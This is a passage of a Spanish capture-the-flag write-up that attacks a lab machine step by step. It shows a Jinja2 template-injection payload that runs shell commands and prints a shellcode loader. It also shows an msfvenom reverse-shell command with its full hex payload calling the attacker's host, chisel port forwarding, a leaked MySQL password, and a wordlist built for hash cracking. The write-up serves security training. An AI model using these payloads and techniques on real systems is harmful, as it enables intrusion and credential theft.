> \[!FAIL] The item with ID ⣿⣿⣿⣿⣿⠟⣋⣭⣭⣭⡭⣭⣍⣉⣉⣉⣭⣭⣭⣭⣍⣙⣛⡛⠿⢿⣿⣿⣿⣿ ⣿⣿⣿⡿⢃⣾⣿⣟⡯⡳⣯⣻⣶⣾⣟⢷⣾⣿⣿⣿⣿⣿⣿⢾⣷⣦⣍⢻⣿⣿ ⣿⣿⡿⢡⣿⣿⣿⣿⣿⠾⠛⠛⢛⡛⠿⣿⣿⣿⣿⣿⣿⠿⠿⢿⣾⣿⣿⡄⢿⣿ ⡿⠫⣠⡬⠛⠛⠿⢽⣧⣬⡤⢄⣬⣍⡓⣈⣿⣿⣟⠉⣀⣤⣤⣤⣿⣿⣿⡽⡦⠙ ⢰⣿⡏⣼⡿⢉⠻⢶⣦⣤⣶⣿⣿⣿⠿⢿⣿⣿⣿⣄⠻⢿⣯⣉⣡⡶⣶⣽⣿⡇ ⡈⢟⢧⣱⣶⡈⠿⣶⡄⣉⣛⠚⠿⢧⣸⣭⣭⣽⠿⠿⣃⣤⣽⣿⠟⠄⢹⣳⡗⣰ ⣿⣦⡉⣾⣿⣷⣄⢢⡄⠈⠛⠻⠷⢰⣦⣬⣍⢉⣉⡈⣉⣩⡍⢴⠆⠆⢸⣿⢠⣿ ⣿⣿⣷⡘⢿⣿⣿⣦⣁⠿⣿⣶⠆⣤⣀⣉⠉⠈⠉⠁⠈⠉⠁⠄⠄⢀⢸⣿⢸⣿ ⣿⣿⣿⣿⣦⡙⢟⡿⣟⡷⣬⣉⡘⠿⠿⣿⠄⣿⣿⢀⣶⠆⡶⠠⠇⣂⣾⣿⢸⣿ ⣿⣿⣿⣿⣿⣿⣶⣬⡑⠫⢷⣻⡽⣻⡶⣶⣶⣶⣶⣶⣶⣶⣶⣾⢟⣿⡿⣿⠈⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣬⣙⠻⠶⣿⣿⣭⣿⣶⣶⣶⣾⣿⣿⣽⣾⡿⢁⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣭⣉⣛⣛⠛⠿⠿⠟⣛⣋⣴⣿⣿ is not found.

Pero si intentamos con `ls` nos devuelve contenido.

{% hint style="info" %}
The item with ID assembly dashboard is not found.
{% endhint %}

Intentemos `ls -Rla` para ver todos los contenido de forma recursiva con sus permisos, en este caso podríamos ir a ver el código fuente de la pagina para ver el contenido mejor.

```python
total 32
drwxr-x--- 1 wilson wilson  226 Aug  2 21:58 .
drwxr-xr-x 1 root   root     40 Jul 31 17:46 ..
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 wilson wilson  220 Jul 30 10:36 .bash_logout
-rw-r--r-- 1 wilson wilson   92 Jul 30 10:36 .bash_profile
-rw-r--r-- 1 wilson wilson 3796 Jul 30 10:36 .bashrc
drwxr-xr-x 1 wilson wilson   12 Jul 20 21:57 .local
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .mysql_history -&amp;gt; /dev/null
-rw-r--r-- 1 wilson wilson  807 Jul 30 10:36 .profile
lrwxrwxrwx 1 root   root      9 Aug  2 21:58 .python_history -&amp;gt; /dev/null
-rw------- 1 wilson wilson 3517 Jul 31 18:55 .viminfo
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:36 assembly
drwxr-xr-x 1 wilson wilson   60 Jul 31 19:38 dashboard

./.local:
total 0
drwxr-xr-x 1 wilson wilson  12 Jul 20 21:57 .
drwxr-x--- 1 wilson wilson 226 Aug  2 21:58 ..
drwxr-xr-x 1 wilson wilson 410 Jul 30 10:36 bin
drwxr-xr-x 1 wilson wilson   0 Jul 20 19:57 lib

./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson    410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 awk
-rwxr-xr-x 1 wilson wilson   1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson  39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 cron
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 crontab
-rwxr-xr-x 1 wilson wilson     69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 echo
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 except
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 find
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ftp
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 gcc
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 gdb
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 git
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 id
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ifconfig
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ip
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ipconfig
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 less
-rwxr-xr-x 1 wilson wilson   1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 lua
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 mail
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 man
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 nc
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 netstat
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 nvim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 perl
-rwxr-xr-x 1 wilson wilson   1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 pico
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ping
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ps
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 python
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 python3
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ruby
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 rvim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 scp
-rwxr-xr-x 1 wilson wilson   1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ss
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ssh
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 ssh-keygen
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 su
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 sudo
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tar
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tcpdump
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 tee
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 vi
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 vim
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 whoami
-rwxr-xr-x 1 wilson wilson  22816 Jul 30 10:36 xxd
-rwxr-xr-x 1 wilson wilson   1116 Jul 30 10:36 zip

./.local/lib:
total 0
drwxr-xr-x 1 wilson wilson  0 Jul 20 19:57 .
drwxr-xr-x 1 wilson wilson 12 Jul 20 21:57 ..

./assembly:
total 20
drwxr-xr-x 1 wilson wilson  86 Jul 30 10:36 .
drwxr-x--- 1 wilson wilson 226 Aug  2 21:58 ..
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 addition.s
-rw-r--r-- 1 wilson wilson 515 Jul 30 10:36 execve.s
-rw-r--r-- 1 wilson wilson 566 Jul 30 10:36 lol.s
-rw-r--r-- 1 wilson wilson 254 Jul 30 10:36 loop.s
-rw-r--r-- 1 wilson wilson 261 Jul 30 10:36 substraction.s

./dashboard:
total 20
drwxr-xr-x 1 wilson wilson    60 Jul 31 19:38 .
drwxr-x--- 1 wilson wilson   226 Aug  2 21:58 ..
-rw-rw-r-- 1 wilson wilson   496 Jul 31 19:11 .pwgen.py
-rwxr-xr-x 1 wilson wilson 14594 Jul 31 18:47 app.py
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 static
drwxr-xr-x 1 wilson wilson   220 Jul 30 10:38 templates

./dashboard/static:
total 0
drwxr-xr-x 1 wilson wilson  50 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson  60 Jul 31 19:38 ..
drwxr-xr-x 1 wilson wilson  10 Jul 20 22:42 bootstrap
drwxr-xr-x 1 wilson wilson 140 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 216 Jul 30 10:36 fonts
drwxr-xr-x 1 wilson wilson 380 Jul 30 10:36 images
drwxr-xr-x 1 wilson wilson 250 Jul 30 10:36 js

./dashboard/static/bootstrap:
total 0
drwxr-xr-x 1 wilson wilson 10 Jul 20 22:42 .
drwxr-xr-x 1 wilson wilson 50 Jul 20 22:42 ..
drwxr-xr-x 1 wilson wilson 60 Jul 30 10:36 css
drwxr-xr-x 1 wilson wilson 32 Jul 30 10:36 js

./dashboard/static/bootstrap/css:
total 272
drwxr-xr-x 1 wilson wilson     60 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 136399 Jul 30 10:36 bootstrap.css
-rw-r--r-- 1 wilson wilson 136297 Jul 30 10:36 bootstrap.css.bak

./dashboard/static/bootstrap/js:
total 28
drwxr-xr-x 1 wilson wilson    32 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    10 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 27871 Jul 30 10:36 bootstrap.min.js

./dashboard/static/css:
total 96
drwxr-xr-x 1 wilson wilson   140 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 61188 Jul 30 10:36 animate.css
-rw-r--r-- 1 wilson wilson 17780 Jul 30 10:36 font-awesome.min.css
-rw-r--r-- 1 wilson wilson  1940 Jul 30 10:36 templatemo_misc.css
-rw-r--r-- 1 wilson wilson 12047 Jul 30 10:36 templatemo_style.css

./dashboard/static/fonts:
total 428
drwxr-xr-x 1 wilson wilson    216 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson  62856 Jul 30 10:36 FontAwesome.otf
-rw-r--r-- 1 wilson wilson  38205 Jul 30 10:36 fontawesome-webfont.eot
-rw-r--r-- 1 wilson wilson 202148 Jul 30 10:36 fontawesome-webfont.svg
-rw-r--r-- 1 wilson wilson  80652 Jul 30 10:36 fontawesome-webfont.ttf
-rw-r--r-- 1 wilson wilson  44432 Jul 30 10:36 fontawesome-webfont.woff

./dashboard/static/images:
total 1352
drwxr-xr-x 1 wilson wilson    380 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 227000 Jul 30 10:36 bg-about.jpg
-rw-r--r-- 1 wilson wilson 264311 Jul 30 10:36 bg-contact.jpg
-rw-r--r-- 1 wilson wilson 288378 Jul 30 10:36 bg-gallery.jpg
-rw-r--r-- 1 wilson wilson 151612 Jul 30 10:36 bg-homepage.jpg
-rw-r--r-- 1 wilson wilson 250619 Jul 30 10:36 bg-services.jpg
-rw-r--r-- 1 wilson wilson    835 Jul 30 10:36 close.png
drwxr-xr-x 1 wilson wilson    108 Jul 30 10:36 gallery
-rw-r--r-- 1 wilson wilson  10423 Jul 30 10:36 loading.gif
-rw-r--r-- 1 wilson wilson    724 Jul 30 10:36 next.png
-rw-r--r-- 1 wilson wilson   1001 Jul 30 10:36 pattern.png
-rw-r--r-- 1 wilson wilson    726 Jul 30 10:36 previous.png
-rw-r--r-- 1 wilson wilson   1026 Jul 30 10:36 select-arrow.png
-rw-r--r-- 1 wilson wilson  51374 Jul 30 10:36 team1.jpg
-rw-r--r-- 1 wilson wilson  45256 Jul 30 10:36 team2.jpg
-rw-r--r-- 1 wilson wilson  46781 Jul 30 10:36 team3.jpg
-rw-r--r-- 1 wilson wilson   2774 Jul 30 10:36 templatemo_logo.png

./dashboard/static/images/gallery:
total 860
drwxr-xr-x 1 wilson wilson    108 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    380 Jul 30 10:36 ..
-rw-r--r-- 1 wilson wilson  88357 Jul 30 10:36 p1.jpg
-rw-r--r-- 1 wilson wilson 166742 Jul 30 10:36 p2.jpg
-rw-r--r-- 1 wilson wilson  50664 Jul 30 10:36 p3.jpg
-rw-r--r-- 1 wilson wilson  96063 Jul 30 10:36 p4.jpg
-rw-r--r-- 1 wilson wilson 137929 Jul 30 10:36 p5.jpg
-rw-r--r-- 1 wilson wilson 113157 Jul 30 10:36 p6.jpg
-rw-r--r-- 1 wilson wilson  62189 Jul 30 10:36 p7.jpg
-rw-r--r-- 1 wilson wilson  95517 Jul 30 10:36 p8.jpg
-rw-r--r-- 1 wilson wilson  50034 Jul 30 10:36 p9.jpg

./dashboard/static/js:
total 196
drwxr-xr-x 1 wilson wilson   250 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson    50 Jul 20 22:42 ..
-rw-r--r-- 1 wilson wilson 93107 Jul 30 10:36 jquery-1.10.2.min.js
-rw-r--r-- 1 wilson wilson  8047 Jul 30 10:36 jquery.lightbox.js
-rw-r--r-- 1 wilson wilson 16363 Jul 30 10:36 jquery.mixitup.min.js
-rw-r--r-- 1 wilson wilson 58095 Jul 30 10:36 jquery.nicescroll.min.js
-rw-r--r-- 1 wilson wilson  9707 Jul 30 10:36 modernizr.js
-rw-r--r-- 1 wilson wilson     0 Jul 30 10:36 plugins.js
-rw-r--r-- 1 wilson wilson  4113 Jul 30 10:36 templatemo_custom.js

./dashboard/templates:
total 36
drwxr-xr-x 1 wilson wilson  220 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson   60 Jul 31 19:38 ..
-rw-r--r-- 1 wilson wilson 6894 Jul 30 10:38 admin_dashboard.html
-rw-r--r-- 1 wilson wilson 7590 Jul 30 10:38 dashboard.html
-rw-r--r-- 1 wilson wilson 2372 Jul 30 10:38 home.html
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:38 includes
-rw-r--r-- 1 wilson wilson 1937 Jul 30 10:38 layout.html
-rw-r--r-- 1 wilson wilson  639 Jul 30 10:38 oauth_callback.html
-rw-r--r-- 1 wilson wilson  649 Jul 30 10:38 oauth_login.html
-rw-r--r-- 1 wilson wilson  619 Jul 30 10:38 register.html

./dashboard/templates/includes:
total 12
drwxr-xr-x 1 wilson wilson   86 Jul 30 10:38 .
drwxr-xr-x 1 wilson wilson  220 Jul 30 10:38 ..
-rw-r--r-- 1 wilson wilson  238 Jul 30 10:38 _formhelpers.html
-rw-r--r-- 1 wilson wilson  321 Jul 30 10:38 _messages.html
-rw-r--r-- 1 wilson wilson 2230 Jul 30 10:38 _navbar.html
```

En el directorio `./local/bin` parece que están los comandos con el `trollface` ya que la gran mayoría tiene 1116 bytes de tamaño, tambien hay un archivo que nos puede llamar la atención `.pwgen.py`, a simple vista se puede ver que `bash` no tiene `trollface`, pero filtremos que comandos nos pueden ser útil para inyectar una **reverse shell**, copiamos lo que esta en `./local/bin` y lo pegamos en un archivo llamado por ejemplo `local_bin.txt` y filtramos de la siguiente manera.

```python
❯ v local_bin.txt
❯ grep -v 1116 local_bin.txt
./.local/bin:
total 392
drwxr-xr-x 1 wilson wilson    410 Jul 30 10:36 .
drwxr-xr-x 1 wilson wilson     12 Jul 20 21:57 ..
-rwxr-xr-x 1 wilson wilson   1290 Jul 30 10:36 bash
-rwxr-xr-x 1 wilson wilson  39384 Jul 30 10:36 cat
-rwxr-xr-x 1 wilson wilson     69 Jul 30 10:36 dashboard
-rwxr-xr-x 1 wilson wilson   1411 Jul 30 10:36 loader
-rwxr-xr-x 1 wilson wilson 142312 Jul 30 10:36 ls
-rwxr-xr-x 1 wilson wilson   1120 Jul 30 10:36 php
-rwxr-xr-x 1 wilson wilson   1268 Jul 30 10:36 sh
-rwxr-xr-x 1 wilson wilson  22816 Jul 30 10:36 xxd
```

Vemos varios binarios interesantes, pero `bash, php y sh` son muy pequeños para ser el binario original, así que los podemos descartar, `ls y cat` parecen ser los únicos binarios legítimos, hay un archivo llamado `loader` leamos el contenido para ver si hay información relevante.

**Comando**:

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat .local/bin/loader').read() }}
```

**Resultado**

```python
import sys
import ctypes

def run_hex(hex):
    # Convert the hex from hex to bytes
    hex_bytes = bytes.fromhex(hex)

    # Allocate executable memory
    # Use ctypes to allocate memory with PROT_READ | PROT_WRITE | PROT_EXEC
    hex_func = ctypes.CFUNCTYPE(ctypes.c_void_p)
    hex_buffer = ctypes.create_string_buffer(hex_bytes, len(hex_bytes))
    ctypes.memmove(hex_buffer, hex_bytes, len(hex_bytes))
    
    # Mark the buffer as executable
    libc = ctypes.CDLL(&amp;#39;libc.so.6&amp;#39;)
    mprotect = libc.mprotect
    mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
    mprotect.restype = ctypes.c_int

    PROT_READ = 0x1
    PROT_WRITE = 0x2
    PROT_EXEC = 0x4
    PAGE_SIZE = 4096
    addr = ctypes.addressof(hex_buffer)
    addr_page_aligned = addr - (addr % PAGE_SIZE)
    size = len(hex_bytes)
    size_page_aligned = PAGE_SIZE * ((size // PAGE_SIZE) + 1)

    if mprotect(addr_page_aligned, size_page_aligned, PROT_READ | PROT_WRITE | PROT_EXEC) != 0:
        raise Exception(&amp;#34;Failed to set memory permissions&amp;#34;)

    # Cast the buffer to a function and call it
    hex_func_type = ctypes.CFUNCTYPE(ctypes.c_void_p)
    hex_func = hex_func_type(ctypes.addressof(hex_buffer))
    hex_func()

if __name__ == &amp;#34;__main__&amp;#34;:
    if len(sys.argv) != 2:
        print(f&amp;#34;Usage: loader &amp;lt;hex string&amp;gt;&amp;#34;)
        sys.exit(1)
    
    hex_hex = sys.argv[1]
    run_hex(hex_hex)
```

Este script en Python ejecuta un código en formato hexadecimal como si fuera una función, algo que se suele asociar a la ejecución de *shellcode* en memoria. Un resumen de su funcionamiento:

1. **Conversión de Hexadecimal a Bytes**: Toma un string hexadecimal proporcionado como argumento en la línea de comandos y lo convierte en bytes.
2. **Asignación de Memoria Ejecutable**: Asigna un bloque de memoria para almacenar estos bytes, con permisos de lectura, escritura y ejecución (RWX). Esto permite ejecutar el código como si fuera una función.
3. **Ejecuta el Código en Memoria**: Luego de asignar los permisos, el script trata la memoria asignada como una función y la ejecuta.

Si ejecutamos el script de la siguiente manera veremos

**Comando**

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('loader').read() }}
```

**Resultado**

{% hint style="info" %}
The item with ID Usage: loader \<hex string> is not found.
{% endhint %}

El script nos pide una cadena en hexadecimal, lo que podemos hacer es inyectar una reverse shell en hexadecimal y ponernos en escucha en `nc`.

Primero nos ponemos en escucha.

```bash
❯ nc -nlvp 4444
listening on [any] 4444 ...
```

Luego usamos `msfvenom` para crear el payload de la siguiente manera.

```python
msfvenom -p linux/x64/shell_reverse_tcp lhost=172.17.0.1 -vvv lport=4444 -b "\x00" -f hex
```

**Resultado**

```js
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of hex file: 238 bytes
4831c94881e9f6ffffff488d05efffffff48bb84828ffa2912cb7d48315827482df8ffffffe2f4eeabd7634310941785dc80ff618583c486829ea68503cb7cd5ca061c43029117aeda80ff431195357b4ce5db711dce0872e8b4a2b05a7052e6ebe1d55a7acb2ecc0b68a87e5a429b8b878ffa2912cb7d
```

En este comando usé `msfvenom` para generar un *payload* de shell reverso para Linux (x64) con conexión a mi máquina en `172.17.0.1` por el puerto `4444`. Excluí el carácter nulo (`\x00`) y lo formateé en hexadecimal (`-f hex`).

Lo inyectamos en el servidor.

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('loader 4831c94881e9f6ffffff488d05efffffff48bb84828ffa2912cb7d48315827482df8ffffffe2f4eeabd7634310941785dc80ff618583c486829ea68503cb7cd5ca061c43029117aeda80ff431195357b4ce5db711dce0872e8b4a2b05a7052e6ebe1d55a7acb2ecc0b68a87e5a429b8b878ffa2912cb7d').read() }}
```

Y vemos que hemos logrado recibir la shell.

```python
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
```

Ahora veamos quienes somos y en que grupo estamos y también la **IP** de la siguiente manera.

```bash
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 56958
whoami
wilson
id
uid=1003(wilson) gid=1003(wilson) groups=1003(wilson),101(mysql)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
```

## <mark style="color:green;">Escalada de privilegios</mark>

Bien antes de proseguir deberíamos darle un tratamiento a la **TTY**, aunque en mi caso optare por usar **pwncat-cs** para tener un **TTY** interactiva, me vuelvo a enviar la **Reverse Shells**.

<figure><img src="/files/7YwKNttaLB4etTxQBszi" alt=""><figcaption></figcaption></figure>

Con esto ya no tengo que preocuparme por el tratamiento de **TTY** o que se muera la terminal, ademas de tener muchos módulos muy útiles, como vimos anteriormente, cuando ejecutamos el comando `id` vemos un grupo interesante:

<figure><img src="/files/ZHXhL7eQQMGNr08c7Ehn" alt=""><figcaption></figcaption></figure>

> Con **Ctrl + D** entramos a la **Bash** de la victima.

El grupo `mysql` nos permite ver las bases de datos existentes y demás información sensible pero necesitaremos tener credenciales validas primero, en la `home` de `wilson` hay una carpeta `dashoard` dentro de ella hay algunos archivos:

<figure><img src="/files/SgmTXSPK4tcAtjvxvvhq" alt=""><figcaption></figcaption></figure>

Hay un archivo oculto llamado `.pwngen.py` vamos a descargarlo con `pwncat`.

<figure><img src="/files/4OSFyyLaW9Wbikbq6V4B" alt=""><figcaption></figcaption></figure>

Cuando le echamos un vistazo a este archivo, vemos que genera una cadena de la siguiente manera `n.apellido@buffered.dl_000123` probablemente lo usaremos más adelante, ahora veremos el archivo `app.py` y verificaremos si tiene credenciales de `mysql`.

```bash
grep MYSQL app.py
```

<figure><img src="/files/Ch6ey1fCOVRPQ793qx3R" alt=""><figcaption></figcaption></figure>

Encontramos una credenciales que nos puede ser útil, vamos a conectarnos a ver si nos deja con el siguiente comando:

```js
mysql -u db_manager -pHeig9At, -h 127.0.0.1
```

<figure><img src="/files/rCepYdkTvd4iXIkjB3WM" alt=""><figcaption></figcaption></figure>

Y efectivamente nos deja conectarnos, como podemos apreciar usando el comando:

```mysql
show databases;
```

Nos mostrara las base de datos existentes, una que llama la atención es `myflaskapp`.

<figure><img src="/files/g7XC16sGXfCxEfmm3HjG" alt=""><figcaption></figcaption></figure>

Podemos usar el comando:

```js
show tables;
```

Notaremos una tabla de `users` y otra de `users_old`, veamos primero `users` con el siguiente comando:

```js
select * from users;
```

<figure><img src="/files/PsbmMVYlJDc0oo6rji8A" alt=""><figcaption></figcaption></figure>

Aquí es donde se están guardando los usuarios del `dashboard`, `users_old` al parecer contiene datos previos los cuales nos copiaremos.

<figure><img src="/files/uk8gSIT2Tu5F6fkSTgUK" alt=""><figcaption></figcaption></figure>

Lo pondremos dentro de un archivo llamado `db.txt`.

<figure><img src="/files/P111urZlcTyiLPPo3A1D" alt=""><figcaption></figcaption></figure>

Ahora, sabiendo que somos el usuario `wilson`, buscaremos archivos a los que este usuario pueda acceder, usando el comando `find`.

```bash
find . -type f -user wilson 2>/dev/null | grep -vE 'proc|sys|home'
```

<figure><img src="/files/r0J8ENLRfGzEZKTsuKwj" alt=""><figcaption></figcaption></figure>

> Buscamos desde la raíz y con `grep` quitamos rutas como: `proc`, `sys` y `home`, encontramos un archivo en `mail`.

Lo que encontramos es un **email** del usuario Christine el cual parece ser **Site Admin** de algún sitio web dentro del servidor.

Nos copiamos este **email** en nuestra maquina.

<figure><img src="/files/lFACHCF1iWZcbGoaB3cD" alt=""><figcaption></figcaption></figure>

Ahora seguimos enumerando la maquina y en este caso pasamos a ver puertos internos de la maquina y encontramos que hay otros servicios corriendo ademas del `mysql` corriendo en distintos puertos.

```bash
netstat -punta # No disponible en el servidor
```

```bash
ss -tuln
```

<figure><img src="/files/bY42gHx8IA5oeE961iGq" alt=""><figcaption></figcaption></figure>

Los nuevos puertos que encontramos son:

* 5000
* 5555
* 9000

Para tener acceso a esos servicios de manera cómoda usaremos `chisel`, de esta forma podremos exponer estos servicios en nuestra maquina local, lo primero que aremos es copiar `chisel` a un directorio de trabajo, luego levantar un servidor sencillo con `php` o `python`.

```bash
php -S 0.0.0.0:80
```

```bash
python3 -m http.server 80
```

<figure><img src="/files/kfOnkeA42jRdFFE4xyZG" alt=""><figcaption></figcaption></figure>

Luego iremos a la maquina victima y verificaremos si tiene instalado `wget` o `curl`, en este caso tiene `curl` así que procedemos a descargar `chisel` y darle permisos de ejecución dentro del directorio `tmp`:

<figure><img src="/files/aBbMOeFWtE0UQdcEQMpK" alt=""><figcaption></figcaption></figure>

Luego en nuestra maquina ejecutamos `chisel` en modo servidor en nuestra maquina atacante:

```js
./chisel server --reverse -p 33
```

<figure><img src="/files/BL6sr5BuXE37kha6uVGo" alt=""><figcaption></figcaption></figure>

Ahora en la maquina victima me conecto al servidor que acabo de levantar como cliente redirigiendo los puertos necesarios:

```js
./chisel client 172.17.0.1:33 R:5000:127.0.0.1:5000 R:9000:127.0.0.1:9000 R:5555:127.0.0.1:5555 2>/dev/null & disown
```

<figure><img src="/files/pFZrKUGenk5eggGwxps5" alt=""><figcaption></figcaption></figure>

En nuestra maquina atacante podremos ver las conexiones que se hicieron correctamente:

<figure><img src="/files/cfaRF4zj3JPjRURY8Zsk" alt=""><figcaption></figcaption></figure>

Ahora usando `nmap` vamos a verificar que corre cada puerto:

```js
nmap -p 5000,9000,5555 -sCV 127.0.0.1 -oN targeted.txt
```

<figure><img src="/files/7V9ZerNxYR9PUDhMejvL" alt=""><figcaption></figcaption></figure>

Los 2 primeros parecen ser paginas web levantadas rápidamente con `python` y el ultimo pareciera ser un binario en escucha por el puerto **9000**:

<figure><img src="/files/mtPP6L45xIcTCh7EZ9Zb" alt=""><figcaption></figcaption></figure>

Si vemos la pagina web del puerto **5000**:

<figure><img src="/files/CByyfo43ezaisdXqmFdO" alt=""><figcaption></figcaption></figure>

Podremos ver que es el `dashboard` que ya vulneramos, en el puerto **5555** podemos ver un panel de autenticación nuevo.

<figure><img src="/files/pNAIcug8PC177E1jqnMn" alt=""><figcaption></figcaption></figure>

Y por ultimo, en el puerto **9000** veremos `bot` con nombre **Buffer** posiblemente una pista de que estamos frente a un **Buffer Overflow** pero sin el binario, no podremos explotarlo:

```bash
nc 127.0.0.1 9000
```

<figure><img src="/files/5RHakHmyuMI6sbzWm8mQ" alt=""><figcaption></figcaption></figure>

Si recordamos el **email** que encontramos anteriormente nos indicaba que **Christine** es **Site Admin**, intentamos logearnos con credenciales tipo `pass` pero no nos deja, tampoco responde a **Inyecciones SQL**, no nos da ningún error que podamos ver.

<figure><img src="/files/l8pTUX7FZ5gJpnGil8xk" alt=""><figcaption></figcaption></figure>

Si recordamos el archivo `.pwgen.py` genera una cadena con una estética que podría ser credenciales por defecto.

```js
python pwgen.py
```

<figure><img src="/files/KWA6CFDgRCGsaXPXvHvE" alt=""><figcaption></figcaption></figure>

Ya que anteriormente habíamos echo una lista de usuarios, tenemos el nombre completo de **Christine**, por lo tanto ingresamos esos datos al **script**.

<figure><img src="/files/Du3yeYSmnWYkzLAUDtxG" alt=""><figcaption></figcaption></figure>

Nos devuelve la siguiente cadena:

```js
c.ross@buffered_833407
```

Con esto podemos decir que tenemos una parte de la contraseña de **Christine**, ahora para tener la parte que falta, podríamos intentar crear una **wordlist** e intentar **crackear** el **hash** que tenemos de la tabla que nos copiamos, vamos a generar la **wordlist** primero:

Usaremos el comando `printf` para generar al final de la cadena que ya tenemos números desde **000000** hasta **999999**:

```bash
printf "c.ross@buffered_%06d\n" {0..999999} > wordlist.txt
```

<figure><img src="/files/5ioQBF2S14ctHPQSJHxW" alt=""><figcaption></figcaption></figure>

> En el script se muestra que se usan 0 como relleno cuando son números bajos, así que debemos tener eso en cuenta.

Usando el comando `head` y `tail` podemos ver que se genero correctamente, por lo tanto ahora procederemos a copiar el **hash** e intentar **crackearlo**.

<figure><img src="/files/LrY1YwZdSzJ1e11VufPV" alt=""><figcaption></figcaption></figure>

> Escapamos los `$` con `\`.

Ahora debemos identificar que tipo de **hash** es, en este caso usaremos `hashid`.

